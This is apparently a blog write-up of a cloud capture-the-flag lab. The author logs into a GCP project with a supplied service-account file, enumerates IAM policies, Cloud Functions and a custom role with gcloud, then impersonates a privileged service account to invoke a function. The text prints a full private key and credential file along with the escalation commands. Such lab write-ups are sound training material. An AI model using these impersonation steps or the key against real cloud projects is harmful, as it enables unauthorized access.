Published on

CWL - Service Account Impersonation Odyssey

Authors
  • avatar
    Name
    mfkrypt
    Twitter
Description
Description
Table of Contents

Authenticating into GCP

We are provided the following credentials:

{
  "type": "service_account",
  "project_id": "woven-acolyte-428406-v9",
  "private_key_id": "cc2840530c4ab702b1e01f0b5bb3fb330ce52292",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCc8xSh1I8k1Z3p\n3TkVUC8yYQoKvu3rGh++WoQ0P0Giy4k7evUQYZPuyRa9yxHlGXse2LtUy+ZUgZ+8\nFa41VWJDdB6kn/OWgHUZoVYFw5rNSDwuF0qfeInKmjnQYs+UlIRMDPd4CB0pbuTZ\nQo9RUqlC7wErt/7kwQFqR9rxJgRvSXLrDG8XlVev7bR4yjJekCJ+0CdPj7cnIO4I\nBZ/2pXD+DVc+iyL8DJ8J/WwrIEpi5m+7AdXIxgZ7xQDUnaty3u4ZBqP/jn7NKYe8\nBv/V93vpauSe1WSpR1cYSUvxC4zGzqkj6pIf2NOBVfdvpoAHNHxrNJYrGIpZ+Swd\nwavVswYVAgMBAAECggEAHmSvX+hlAP3SGwYBZih1P1UN6AdR1Qel0ou+UszWJdOz\nA178ApxW1LTBz+a5lCtTTaWsX08uDzrb50Uui3r5sLTVs00bU4+UPa6h1TNsMKk2\nqDlP9OJXkrG7lOhxqOT62qxfJvIxTYMBU7ZhQR8YEpNsn13+ASgEIWQBWNYjITaj\nHo+sAZikgXo2rK3n28gKY89/5wAwnMs3y3VJCJI7Y+DdXlT59QOWeuV9vmThyoMs\nsV0IqyJRUFwgI/z9kmkDm189Bvb0armiHxvl6/EDHpiNEWxJpD22JnTGKMHvPTUw\nFwql46WsCDfe7hpz2IiRN5zVbEyxP2rKuZZr6kUfwQKBgQDNurb7RlmajUjR4K7y\nsSKxf8onhTsMqoCuSPjQO1h0VqgCiMkfkK5cNJUKZkBdelWhQwnyG0GQUT+xqkky\na3ZoO9L5LmTagdmIdIHlcpWkH7ebBYkvl//jelXwsyH+JfAWBKsNQQiCJV8yrT8i\n/y+RvJpG6IWV5CYjDG2W/9CjwQKBgQDDTPilyA1oe9UbVqIxym0HixDBnftqWOK9\n/tH7VwsrIvh7LYnkCG6GPJHd1yhTrHXvIV+BCVAG8pd+ZPNNDWMqxHMabRztFYJm\nAd9wolk2oGGBHv3PV7h0MYvN58ign5mgwiHadi7+XHw9VuCnqSE3l4VJB4pJCqsM\nP0LBDgpnVQKBgFzdbqGoVOQl6HwMrwwQF3gGFiuWwVvrTyDdAauFTl1djINwWVEt\nTveCKNDD7UQE58heaYvm78aEVnsNQfNHfPB6KLagUZgsyxQEe2omOhQW2RtZ+V4J\nf9GgNFDtm2eMmn5l5wyZkYyl7/4BJCHZDRD9EKr3ZO2PSgPCJWnm2bhBAoGAbIOS\nDJsRSCK2EBCc4kl1NyG/17SuAzMMGUFC7wI4RGmT4u00lq1Qq+lvqvFniMZkaNAE\nPrAr9RBJuILi5McxeIva4K4LynePEpqryeuK4l1Oj+3mXJSC+pyk721//i9vrvDu\n2nGcPtyoc3SYMtA4kqjv99nmrhrtW0qzDo18nlkCgYBVQ/gs/22pMGVC9WARRNy7\n46muxSWVCTciGuFX8HappIn/ZQbEjLAHEE1qBLw5qLM4gu8tKBhkSgtpy/1SDfB9\nSoUUey31KykAz7ghDWLf2OxEpJGbumVH9rt9pi/nwXeBgFBBhAPgfFtmaECLtR09\n4MWAbQe0V5jGuQgpEd0gkg==\n-----END PRIVATE KEY-----",
  "client_email": "hd-service-account@woven-acolyte-428406-v9.iam.gserviceaccount.com",
  "client_id": "104201392735789077400",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/hd-service-account%40woven-acolyte-428406-v9.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

Based on the credentials file, we are authenticating as hd-service-account. We can authenticate to the instance by first exporting the following variable to the env and supplying the credential file path:

export CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE="/home/mfkrypt/Downloads/GCPChallengeCredentials.json"

Then using gcloud CLI, we can try to list service accounts by supplying the project_id value

gcloud iam service-accounts list --project woven-acolyte-428406-v9

Enumeration

IAM policies

It is discovered that the hd-service-account has the serviceAccountTokenCreator role on the 'Func Service Account'

gcloud iam service-accounts get-iam-policy func-service-account@woven-acolyte-428406-v9.iam.gserviceaccount.com

According to the docs, service accounts with the serviceAccountTokenCreator role has the ability to impersonate a service account

Cloud Functions Enumeration

gcloud functions list --project woven-acolyte-428406-v9

There are 4 Cloud Functions we should look into that are made up of 1st & 2nd gen functions of HTTP Triggers, let us describe these functions. I'll only highlight the important output

gcloud functions describe <FUNCTION> --project woven-acolyte-428406-v9
  • recovery-function:
entryPoint: fun_main

serviceAccountEmail: staging-mach-service-account@woven-acolyte-428406-v9.iam.gserviceaccount.com
  • secops-function:
description: Internal Cloud Function
entryPoint: hello_world

serviceAccountEmail: woven-acolyte-428406-v9@appspot.gserviceaccount.com
  • secops-internal-service-fn:
entryPoint: fetch_secret

serviceAccountEmail: secops-internal-service-mgmt-s@woven-acolyte-428406-v9.iam.gserviceaccount.com
  • secops-internal-service-trigger-fn:
entryPoint: forward_request

serviceAccountEmail: secops-internal-service-mgmt-s@woven-acolyte-428406-v9.iam.gserviceaccount.com

From the above, we can see that the secops-function uses the 'Default App Engine SA' with an entryPoint named hello_world, this could be a Cloud Function that was accidentally left on production. Let's check the IAM Policies on every Cloud Function

gcloud functions get-iam-policy <FUNCTION> --project woven-acolyte-428406-v9
  • recovery-function:
  • secops-internal-service-fn:
  • secops-internal-service-trigger-fn:
bindings:
- members:
  - allUsers
  role: roles/cloudfunctions.invoker
etag: BwYlhdDpD80=
version: 1
  • secops-function:
bindings:
- members:
  - serviceAccount:func-service-account@woven-acolyte-428406-v9.iam.gserviceaccount.com
  role: projects/woven-acolyte-428406-v9/roles/customEditorNoDelete
etag: BwYkvs8G-F0=
version: 1

Attempting to invoke any of the functions with the cloudfunctions.invoker role will result in access denied...it is quite odd even though the members are allUsers

Custom Role Enumeration

We can investigate the custom role further by describing it

gcloud iam roles describe customEditorNoDelete --project woven-acolyte-428406-v9

These functions stand out:

  1. cloudfunctions.functions.call:

An API that is a built-in method to invoke a Cloud Function using gcloud

  1. cloudfunctions.functions.get:

An API to look up the function metadata first

Impersonating Service Account & Invoking Cloud Function

Let's try invoking the function

gcloud functions call secops-function --project woven-acolyte-428406-v9

We get an access denied. Now, let's try impersonating the 'Func Service Account' and call the function again

gcloud functions call secops-function --project woven-acolyte-428406-v9 --impersonate-service-account=func-service-account@woven-acolyte-428406-v9.iam.gserviceaccount.com

There's our flag. Yay


Sources